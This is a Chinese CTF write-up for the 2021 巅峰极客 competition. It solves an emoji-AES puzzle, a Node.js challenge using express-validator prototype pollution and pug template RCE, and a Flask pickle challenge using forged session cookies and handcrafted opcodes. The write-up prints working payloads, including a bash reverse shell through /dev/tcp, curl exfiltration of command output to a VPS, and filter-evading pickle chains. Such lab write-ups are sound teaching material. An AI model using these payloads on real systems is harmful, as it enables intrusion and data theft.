27

CTF | 2021 巅峰极客网络安全技能挑战赛 WriteUp

 2 years ago
source link: https://miaotony.xyz/2021/08/07/CTF_2021dianfengjike/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
2021 巅峰极客网络安全技能挑战赛 WriteUp
image-20210731222634422.png

2021 巅峰极客网络安全技能挑战赛

比赛时间:2021年7月31日 10:00 - 18:00

https://www.ichunqiu.com/2021dfjk

上周末摸鱼,佛系打了下这个巅峰极客网络安全技能挑战赛,可是题目好难啊啊啊啊啊。

喵呜呜,题目环境当晚10点就关了就离谱,这里还是赛后复现为主,随便写写好了。

YY给我发了一串表情,说了GAME,这是什么意思?

附件下载 提取码(GAME)备用下载

🙃💵🌿🎤🚪🌏🐎🥋🚫😆😍🥋🐘🍴🚰😍☀🌿😇😍😡🏎👉🛩🤣🖐💧☺🌉🏎😇😆🎈💧⏩☺🔄🌪⌨🐅🎅🙃🍌🙃🔪☂🏹🕹☃🌿🌉💵🐎🐍😇🍵😍🐅🎈🥋🚰✅🎈🎈

emoji-aes

直接用咱自己搭的了: https://emoji-aes.miaotony.xyz/

key: GAME

image-20210731210154922.png

flag{10ve_4nd_Peace}

题目内容:简单的个人空间系统。

一个简简单单的登录界面

image-20210731210454810.png

发现只要用户名、密码超过5位数字就能进入了。

image-20210731210535693.png

这个图片是以 base64 编码的,可以任意读取文件。

通过报错可以得知源码在 /app/app.js

image-20210731210818240.png

路由在 /app/routes/index.js

image-20210731210835779.png

http://eci-2ze94lqyt2mqgae0klll.cloudeci1.ichunqiu.com:8888/admin?newimg=/app/app.js&diy=miaotony

<html><head><title>我的空间</title><meta http-equiv="Content-Type" content="text/html;charset=UTF-8"/></head><body><form action="" method="get"> <div>更改图片<select name="newimg"><option value="./images/1.png">纸飞机</option><option value="./images/2.png">人</option><option value="./images/3.png">小火车</option></select></div><div>个性签名<input type="text" name="diy" value="尊贵的admin可以在这更改个性签名"/></div><input type="submit"/></form><div><img src='data:image/png;base64,dmFyIGNyZWF0ZUVycm9yID0gcmVxdWlyZSgnaHR0cC1lcnJvcnMnKTsKdmFyIGV4cHJlc3MgPSByZXF1aXJlKCdleHByZXNzJyk7CnZhciBwYXRoID0gcmVxdWlyZSgncGF0aCcpOwp2YXIgY29va2llUGFyc2VyID0gcmVxdWlyZSgnY29va2llLXBhcnNlcicpOwp2YXIgbG9nZ2VyID0gcmVxdWlyZSgnbW9yZ2FuJyk7CnZhciBjcnlwdG8gPSByZXF1aXJlKCdjcnlwdG8nKTsKdmFyIHNlc3Npb24gPSByZXF1aXJlKCdleHByZXNzLXNlc3Npb24nKTsKdmFyIHNlc3Npb25TdG9yZSA9IHJlcXVpcmUoJ3Nlc3Npb24tZmlsZS1zdG9yZScpKHNlc3Npb24pOwp2YXIga2V5ID0gJ3Nlc3Npb24nOwoKCnZhciBpbmRleFJvdXRlciA9IHJlcXVpcmUoJy4vcm91dGVzL2luZGV4Jyk7CnZhciBhcHAgPSBleHByZXNzKCk7CnZhciBzZWNyZXRzID0gY3J5cHRvLnJhbmRvbUJ5dGVzKDMyKS50b1N0cmluZygnaGV4Jyk7CmFwcC51c2Uoc2Vzc2lvbih7CiAgbmFtZToga2V5LAogIHNlY3JldDogc2VjcmV0cywKICBzdG9yZTogbmV3IHNlc3Npb25TdG9yZSgpLAogIHNhdmVVbmluaXRpYWxpemVkOiBmYWxzZSwKICByZXNhdmU6IGZhbHNlLAogIGNvb2tpZTogewogICAgbWF4QWdlOiAxMDAgKiA2MCAqIDYwMAogIH0KCn0pKTsKCi8vIHZpZXcgZW5naW5lIHNldHVwCmFwcC5zZXQoJ3ZpZXdzJywgcGF0aC5qb2luKF9fZGlybmFtZSwgJ3ZpZXdzJykpOwphcHAuc2V0KCd2aWV3IGVuZ2luZScsICdwdWcnKTsKCmFwcC51c2UobG9nZ2VyKCdkZXYnKSk7CmFwcC51c2UoZXhwcmVzcy51cmxlbmNvZGVkKHsgZXh0ZW5kZWQ6IGZhbHNlIH0pKTsKYXBwLnVzZShjb29raWVQYXJzZXIoKSk7CmFwcC51c2UoZXhwcmVzcy5zdGF0aWMocGF0aC5qb2luKF9fZGlybmFtZSwgJ3B1YmxpYycpKSk7CgphcHAudXNlKCcvJywgaW5kZXhSb3V0ZXIpOwoKCi8vIGNhdGNoIDQwNCBhbmQgZm9yd2FyZCB0byBlcnJvciBoYW5kbGVyCmFwcC51c2UoZnVuY3Rpb24ocmVxLCByZXMsIG5leHQpIHsKICBuZXh0KGNyZWF0ZUVycm9yKDQwNCkpOwp9KTsKCi8vIGVycm9yIGhhbmRsZXIKYXBwLnVzZShmdW5jdGlvbihlcnIsIHJlcSwgcmVzLCBuZXh0KSB7CiAgLy8gc2V0IGxvY2Fscywgb25seSBwcm92aWRpbmcgZXJyb3IgaW4gZGV2ZWxvcG1lbnQKICByZXMubG9jYWxzLm1lc3NhZ2UgPSBlcnIubWVzc2FnZTsKICByZXMubG9jYWxzLmVycm9yID0gcmVxLmFwcC5nZXQoJ2VudicpID09PSAnZGV2ZWxvcG1lbnQnID8gZXJyIDoge307CgogIC8vIHJlbmRlciB0aGUgZXJyb3IgcGFnZQogIHJlcy5zdGF0dXMoZXJyLnN0YXR1cyB8fCA1MDApOwogIHJlcy5yZW5kZXIoJ2Vycm9yJyk7Cn0pOwoKbW9kdWxlLmV4cG9ydHMgPSBhcHA7Cg=='></div><p>哈喽</p><div>miaotony</div><div>个性签名:<div>miaotony</div><div>---miaotony</div></div></body></html>

依次得到源码 app.js

javascript
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var crypto = require('crypto');
var session = require('express-session');
var sessionStore = require('session-file-store')(session);
var key = 'session';


var indexRouter = require('./routes/index');
var app = express();
var secrets = crypto.randomBytes(32).toString('hex');
app.use(session({
  name: key,
  secret: secrets,
  store: new sessionStore(),
  saveUninitialized: false,
  resave: false,
  cookie: {
    maxAge: 100 * 60 * 600
  }

}));

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(logger('dev'));
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));

app.use('/', indexRouter);


// catch 404 and forward to error handler
app.use(function(req, res, next) {
  next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  // render the error page
  res.status(err.status || 500);
  res.render('error');
});

module.exports = app;

routes/index.js

javascript
var express = require('express');
var router = express.Router();
var {body, validationResult} = require('express-validator');
var crypto = require('crypto');
var fs = require('fs');
var validator = [
  body('*').trim(),
  body('username').if(body('username').exists()).isLength({min: 5})
  .withMessage("username is too short"),
  body('password').if(body('password').exists()).isLength({min: 5})
  .withMessage("password is too short"),(req, res, next) => {
		const errors = validationResult(req)
		if (!errors.isEmpty()) {
      return res.status(400).render('msg', {title: 'error', msg: errors.array()[0].msg});
		}
		next()
	}
];

router.use(validator);


router.get('/', function(req, res, next) {
  return res.render('index', {title: "登录界面"});
});


router.post('/login', function(req, res, next) {
  let username = req.body.username;
  let password = req.body.password;
  if (username !== undefined && password !== undefined) {

    if (username == "admin" && password === crypto.randomBytes(32).toString('hex')) {
      req.session.username = "admin";
    } else if (username != "admin"){
      req.session.username = username;
      

    } else {
      return res.render('msg',{title: 'error', msg: 'admin password error'});
    }
    return res.redirect('/verify');
  }

  return res.render('msg',{title: 'error',msg: 'plz input your username and password'});
});



router.get('/verify', function(req, res, next) {
  console.log(req.session.username);
  if (req.session.username === undefined) {
    return res.render('msg', {title: 'error', msg: 'login first plz'});
  }
  if (req.session.username === "admin") {
    req.session.isadmin = "admin";
  } else {
    req.session.isadmin = "notadmin";
  }
  return res.render('verify', {title: 'success', msg: 'verify success'});
});





router.get('/admin', function(req, res, next) {
  //req.session.debug = true;

  if (req.session.username !== undefined && req.session.isadmin !== undefined) {

    if (req.query.newimg !== undefined) req.session.img = req.query.newimg;

    var imgdata = fs.readFileSync(req.session.img? req.session.img: "./images/1.png");
    var base64data = Buffer.from(imgdata, 'binary').toString('base64');

    var info = {title: '我的空间', msg: req.session.username, png: "data:image/png;base64," + base64data, diy: "十年磨一剑😅v0.0.0(尚处于开发版"};


    if (req.session.isadmin !== "notadmin") {

      if (req.session.debug !== undefined && req.session.debug !== false) info.pretty = req.query.p;
      if (req.query.diy !== undefined) req.session.diy = req.query.diy;
      info.diy = req.session.diy ? req.session.diy: "尊贵的admin";
      return res.render('admin', info);
    } else {
      return res.render('admin', info);
    }
  } else {
    return res.render('msg', {title: 'error', msg: 'plz login first'});
  }
});

module.exports = router;

package.json

{
  "name": "nodejs",
  "version": "0.0.0",
  "private": true,
  "scripts": {
    "start": "node ./bin/www"
  },
  "dependencies": {
    "cookie-parser": "~1.4.4",
    "debug": "~2.6.9",
    "express": "~4.16.1",
    "express-session": "^1.17.2",
    "express-validator": "^6.6.0",
    "http-errors": "~1.6.3",
    "lodash": "^4.17.15",
    "morgan": "~1.9.1",
    "pug": "^3.0.0",
    "pug-code-gen": "^3.0.0",
    "session-file-store": "^1.5.0"
  }
}

package-lock.json 太长了就不放上来了。

可以看到登录验证上用了 express-validator,模板渲染用的是 pug

nodejs 一般就找原型链污染之类的吧,分析路由源码,info.pretty = req.query.p; 这里有点可疑。

为了进到这里,需要 session 里的 debugisadminusername 均不是 undefined,且 isadmin !== "notadmin"debug !== false。这就需要在登录路由 POST login 进行鉴权,如果能把 isadmindebug 设置为空的话就能绕过进来了。所以还是得 原型链污染

再看 validator 这里,body('*').trim()express-validator 确实存在原型链污染漏洞。

XNUCA2020Qualifier oooooooldjs writeup

express-validator 6.6.0 原型链污染分析

当传入的键中存在. ,则会在字符两边加上[" "],并且最终返回的是一个字符串形式的结果。

当我们传入:

{"\"].__proto__[\"test":"123 "}

这里的键为"].__proto__["test,由于字符里面存在.,所以在segments.reduce函数处理时会对其左右加双引号和中括号,最终变成:[""].__proto__["test"]

而这个被污染的原型链的 test 值为空,是因为取值时,使用的是 lodash.get 方法从 req['body'] 中取被处理后的键值,处理后的键是不存在的,所以取出来的值就为 undefined。再经过.toString()的处理变成了''空字符串。

另外这篇文章中还提出了利用 lodash.get 方法来污染 value 的方法,即

{"a": {"__proto__": {"test": "testvalue"}}, "a\"].__proto__[\"test": 222}

最后会把 Object.__proto__.test 的值污染为 testvalue

这道题里环境也正好是 express-validator 6.6.0,只不过不支持 JSON 来传参,只能用 urlencode 了。

于是构造 payload:

"].__proto__["isadmin=aaa

"].__proto__["debug=bbb

POST /login HTTP/1.1
...

username=miaomiao&password=miaomiao&"].__proto__["isadmin=aaa+&"].__proto__["debug=bbb+

这样就能成功绕过登录成为 admin 了。

image-20210731214508426.png
image-20210731214527856.png

接下来带上这个 cookie 打 pug getshell。题目里用到的 pug 版本是 3.0.0

Remote code execution via the pretty option. CVE-2021-21353

Code injection vulnerability in visitMixin and visitMixinBlock through “pretty” option

构造如下 payload 即可 RCE。

http://xxxxx/admin?p=');process.mainModule.constructor._load('child_process').exec('whoami');_=('

注意不要访问 /verify 路由,不然又把 session.isadmin 赋值了。

可惜发现这题 shell 弹不回来,只能 curl 外带了。

另外由于输出换行会截断,这里给个 tip,可以通过 form-data 文件上传 再配合 base64 编码的方式来完整传输信息。

curl -F "file=`ls -al /|base64`" http://VPS
# 或者直接 VPS 上起个 web 服务,上传文件
# curl -F "file=@文件位置" http://VPS
# ls -al /
total 84
drwxr-xr-x   1 root root 4096 Jul 31 10:28 .
drwxr-xr-x   1 root root 4096 Jul 31 10:28 ..
drwxrwxrwx   1 root root 4096 Jul 30 17:20 app
drwxr-xr-x   2 root root 4096 Jul 23 13:50 bin
drwxr-xr-x   2 root root 4096 Apr 24  2018 boot
drwxr-xr-x   5 root root  380 Jul 31 10:28 dev
drwxr-xr-x   1 root root 4096 Jul 30 17:20 etc
-rw-r--r--   1 root root   62 Jul 30 17:21 hint
drwxr-xr-x   1 root root 4096 Jul 30 17:20 home
drwxr-xr-x   1 root root 4096 Jul 30 17:20 lib
drwxr-xr-x   2 root root 4096 Jul 23 13:50 lib64
drwxr-xr-x   2 root root 4096 Jul 23 13:49 media
drwxr-xr-x   2 root root 4096 Jul 23 13:49 mnt
drwxr-xr-x   2 root root 4096 Jul 23 13:49 opt
dr-xr-xr-x 108 root root    0 Jul 31 10:28 proc
drwx------   1 root root 4096 Jul 31 10:28 root
drwxr-xr-x   5 root root 4096 Jul 23 13:50 run
drwxr-xr-x   2 root root 4096 Jul 23 13:50 sbin
drwxr-xr-x   2 root root 4096 Jul 23 13:49 srv
dr-xr-xr-x  12 root root    0 Jul 31 10:45 sys
drwxrwxrwt   1 root root 4096 Jul 30 17:20 tmp
drwxr-xr-x   1 root root 4096 Jul 23 13:49 usr
drwxr-xr-x   1 root root 4096 Jul 23 13:50 var
hint
hint

当前用户是 ctf,这个 tac 配了 suid。

image-20210731222013666.png
tac /root/flag.txt
flag
flag

其实本来是想能不能通过伪造 session 来成管理员的,后来发现没有上传点,么得办法了。

具体可以参考 session-file-store库的session伪造

BTW, 原来他的模板文件在 views 目录下啊,咱一直猜着 templates template 结果一直没读到……

app
app

/app/views/admin.pug

html
  head
    title= title 
    meta(http-equiv="Content-Type", content="text/html;charset=UTF-8")
  body
  
    mixin hello(text)
      p= text
      div #{msg}
    
    mixin printdiy()
      div 个性签名:
        div #{diy}
        div ---#{msg}
    
    form(action="", method="get")  
      div 更改图片
        select(name="newimg")
          option(value="./images/1.png") 纸飞机
          option(value="./images/2.png") 人
          option(value="./images/3.png") 小火车
      div 个性签名
        input(type="text" name="diy" value="尊贵的admin可以在这更改个性签名")
      input(type="submit")


    div <img src='#{png}'>
    +hello("哈喽")
    +printdiy()

顺便放个 ejs 的 RCE:

Express+lodash+ejs: 从原型链污染到RCE

javascript
a; return global.process.mainModule.constructor._load('child_process').execSync('whoami'); //

opcode

题目内容:听说pickle是一门有趣的栈语言,你会手写opcode吗?

任意文件读源码

imagePath=app.py&password=admin&username=admin 
python
from flask import Flask
from flask import request
from flask import render_template
from flask import session
import base64
import pickle
import io
import builtins

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit', 'map'}
    def find_class(self, module, name):
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def loads(data):
    return RestrictedUnpickler(io.BytesIO(data)).load()


app = Flask(__name__)

app.config['SECRET_KEY'] = "y0u-wi11_neuer_kn0vv-!@#se%32"

@app.route('/admin', methods = ["POST","GET"])
def admin():
    if('{}'.format(session['username'])!= 'admin' and str(session['username'] , encoding = "utf-8")!= 'admin'):
        return "not admin"
    try:
        data = base64.b64decode(session['data'])
        if "R" in data.decode():
            return "nonono"
        pickle.loads(data)
    except Exception as e:
        print(e)
    return "success"

@app.route('/login', methods = ["GET","POST"])
def login():
    username = request.form.get('username')
    password = request.form.get('password')
    imagePath = request.form.get('imagePath')
    session['username'] = username + password
    session['data'] = base64.b64encode(pickle.dumps('hello' + username, protocol=0))
    try:
        f = open(imagePath,'rb').read()
    except Exception as e:
        f = open('static/image/error.png','rb').read()
    imageBase64 = base64.b64encode(f)
    return render_template("login.html", username = username, password = password, data = bytes.decode(imageBase64))

@app.route('/', methods = ["GET","POST"])
def index():
    return render_template("index.html")
if __name__ == '__main__':
    app.run(host='0.0.0.0', port='8888')

pickle反序列化的利用技巧总结

Python反序列化漏洞与沙箱逃逸

🐍Security Issues in Python Pickle 或者 https://hackmd.io/53c7hn_1SqOF7WoUMBrkiA?view

从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势

2020 XCTF高校战“疫”网络安全分享赛 webtmp

2021 NewsCTF 新春赛 beautifulgirlfriend

又是手搓 opcode……

实际上 INST i、OBJ o、REDUCE R 都可以调用一个 callable 对象,把 R 换成其他的就好。

然而这题其实他并没有调用外面的这个 loads,即没有调用 RestrictedUnpickler,只要不含有 R 就行了……

python
# 反弹 shell
b"(cos\nsystem\nS\'bash -i >& /dev/tcp/ip/port 0>&1\'\no."

# 或者直接 
b"(cos\nsystem\nS\'curl http://VPS:PORT/?flag=`/app/readflag`\'\no."

接下来伪造 session,直接用 Flask Session Cookie Decoder/Encoder 这个脚本好了。

$ python3 flask_session_cookie_manager3.py decode -c 'eyJkYXRhIjp7IiBiIjoiVm0xb2JHSkhlSFpaVjFKMFlWYzBTMk5FUVV0TVp6MDkifSwidXNlcm5hbWUiOiJhZG1pbmFkbWluIn0.YQ_4Tg.rctkQrLvhZdSHjtRdjE21qaA1O4' -s 'y0u-wi11_neuer_kn0vv-!@#se%32'
{'data': b'VmhlbGxvYWRtaW4KcDAKLg==', 'username': 'adminadmin'}

编码:把上面的 opcode base64 一下,然后放进 data 里。

$ python3 flask_session_cookie_manager3.py encode -s 'y0u-wi11_neuer_kn0vv-!@#se%32' -t '{"data": "KGNvcwpzeXN0ZW0KUydiYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMScKby4=", "username": "adminadmin"}'
eyJkYXRhIjoiS0dOdmN3cHplWE4wWlcwS1V5ZGlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMMmx3TDNCdmNuUWdNRDRtTVNjS2J5ND0iLCJ1c2VybmFtZSI6ImFkbWluYWRtaW4ifQ.YRAgRQ.KBVqxrhR0f5FCTCzy1sLo9oaAfI

注意改一下 ip & port。然后把 cookie 改了访问 /admin 就能触发了。


如果按照题目原本的意思,只能用 builtins 里的东西,还带有黑名单,过滤 R

可以参考 这篇 wp 里的思路,先用 pker 这个工具生成只带 builtins 但含有 R 的 payload。

先知社区:通过AST来构造Pickle opcode

python
getattr = GLOBAL('__builtins__', 'getattr')
dict = GLOBAL('__builtins__', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('__builtins__', 'globals')
__builtins__ = globals()
____builtins____ = dict_get(__builtins__, '____builtins____')
eval = getattr(____builtins____, 'eval')
eval('__import__("os").system("whoami")')
return


b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("whoami")\'\ntR.'

"""
cbuiltins
getattr
p0
0cbuiltins
dict
p1
0g0
(g1
S'get'
tRp2
0cbuiltins
globals
p3
0g3
(tRp4
0g2
(g4
S'__builtins__'
tRp5
0g0
(g5
S'eval'
tRp6
0g6
(S'__import__("os").system("whoami")'
tR.
"""

而后手搓一下,在调用的 callable 前添加 MARK 即 (,去掉 t 指令和调用 t 指令用到的 MARK.

也就是 [callable] [tuple] R ===> MARK [callable] [args...] o

文中构造的 payload 为

python
b'''cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0(g0\ng1\nS'get'\nop2\n0cbuiltins\nglobals\np3\n0(g3\nop4\n0(g2\ng4\nS'__builtins__'\nop5\n0(g0\ng5\nS'eval'\nop6\n0(g6\nS'__import__("os").system("whoami")'\no.'''

"""
cbuiltins
getattr
p0
0cbuiltins
dict
p1
0(g0
g1
S'get'
op2
0cbuiltins
globals
p3
0(g3
op4
0(g2
g4
S'__builtins__'
op5
0(g0
g5
S'eval'
op6
0(g6
S'__import__("os").system("whoami")'
o.
"""
$ python3 flask_session_cookie_manager3.py encode -s 'y0u-wi11_neuer_kn0vv-!@#se%32' -t '{"data": "Y2J1aWx0aW5zCmdldGF0dHIKcDAKMGNidWlsdGlucwpkaWN0CnAxCjAoZzAKZzEKUydnZXQnCm9wMgowY2J1aWx0aW5zCmdsb2JhbHMKcDMKMChnMwpvcDQKMChnMgpnNApTJ19fYnVpbHRpbnNfXycKb3A1CjAoZzAKZzUKUydldmFsJwpvcDYKMChnNgpTJ19faW1wb3J0X18oIm9zIikuc3lzdGVtKCJ3aG9hbWkiKScKby4=", "username": "adminadmin"}'
.eJxdkEFPgzAAhf9Lzx5gaDJMPDSdA9qUZOpW4NbSDRhtaWTIqPG_y9jBxMvLu3zfS943kPzCwTPIV9jn7Opx9uSQlkpGW0_GCSk3kNAobSRTvYzUUI625Sz1kIFXdIZd4SAp3CvZT9IU2c4gHY606sZ_vl6scC1iOvsooag2dLRf5WZ375U1KbQf2A9PuTlYEb9ZYdJTNpVEBND_29nfdpTU2x4vfL7waXVnOfNHEWAv89ddokOXNO1QBsrJ6HAhCAc8CmvB2oa8z97p8QU8gKE_fhquj_MDXOrGLAF-fgETQV-m.YRAnmg.C8b2ylZD1EDOLC3JLOFLZP9VGms

然后把源码里的 pickle.loads(data) 改成 loads(data),本地试一试。

image-20210809025904310.png

Pickle 常见 opcode,完整的可在$PYTHON/Lib/pickle.py查看

(via https://xz.aliyun.com/t/7012#toc-2)

name op params describe e.g. REDUCE R [callable] [tuple] R 调用一个callable对象 crandom\nRandom\n)R OBJ o MARK [callable] [args…] o 同INST,参数获取方式由readline变为stack.pop而已 (cos\nsystem\nS’ls’\no INST i MARK [args…] i [module] [cls] 构造一个类实例(其实等同于调用一个callable对象),内部调用了find_class (S’ls’\nios\nsystem\n MARK ( null 向栈顶push一个MARK

STOP . null 结束

POP 0 null 丢弃栈顶第一个元素

POP_MARK 1 null 丢弃栈顶到MARK之上的第一个元素

DUP 2 null 在栈顶赋值一次栈顶元素

FLOAT F F [float] push一个float F1.0 INT I I [int] push一个integer I1 NONE N null push一个None

STRING S S [string] push一个string S ‘x’ UNICODE V V [unicode] push一个unicode string V ‘x’ APPEND a [list] [obj] a 向列表append单个对象 ]I100\na BUILD b [obj] [dict] b 添加实例属性(修改__dict__) cmodule\nCls\n)R(I1\nI2\ndb GLOBAL c c [module] [name] 调用Pickler的find_class,导入module.name并push到栈顶 cos\nsystem\n DICT d MARK [[k] [v]…] d 将栈顶MARK以前的元素弹出构造dict,再push回栈顶 (I0\nI1\nd EMPTY_DICT } null push一个空dict

APPENDS e [list] MARK [obj…] e 将栈顶MARK以前的元素append到前一个的list ](I0\ne GET g g [index] 从memo获取元素 g0 LIST l MARK [obj] l 将栈顶MARK以前的元素弹出构造一个list,再push回栈顶 (I0\nl EMPTY_LIST ] null push一个空list

PUT p p [index] 将栈顶元素放入memo p0 SETITEM s [dict] [k] [v] s 设置dict的键值 }I0\nI1\ns TUPLE t MARK [obj…] t 将栈顶MARK以前的元素弹出构造tuple,再push回栈顶 (I0\nI1\nt EMPTY_TUPLE ) null push一个空tuple

SETITEMS u [dict] MARK [[k] [v]…] u 将栈顶MARK以前的元素弹出update到前一个dict }(I0\nI1\nu

题目也太顶啦!

Misc 就俩题,另一题是个零解的内存镜像取证,提取出来一张微信收到的图片,然后 LSB 有个看上去像是 AES 的字符串,但找了半天没找到密钥在哪……

线上初赛才只有12支战队晋级,太难了,喵呜呜呜!

就这样吧……

(溜了溜了喵

-->


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK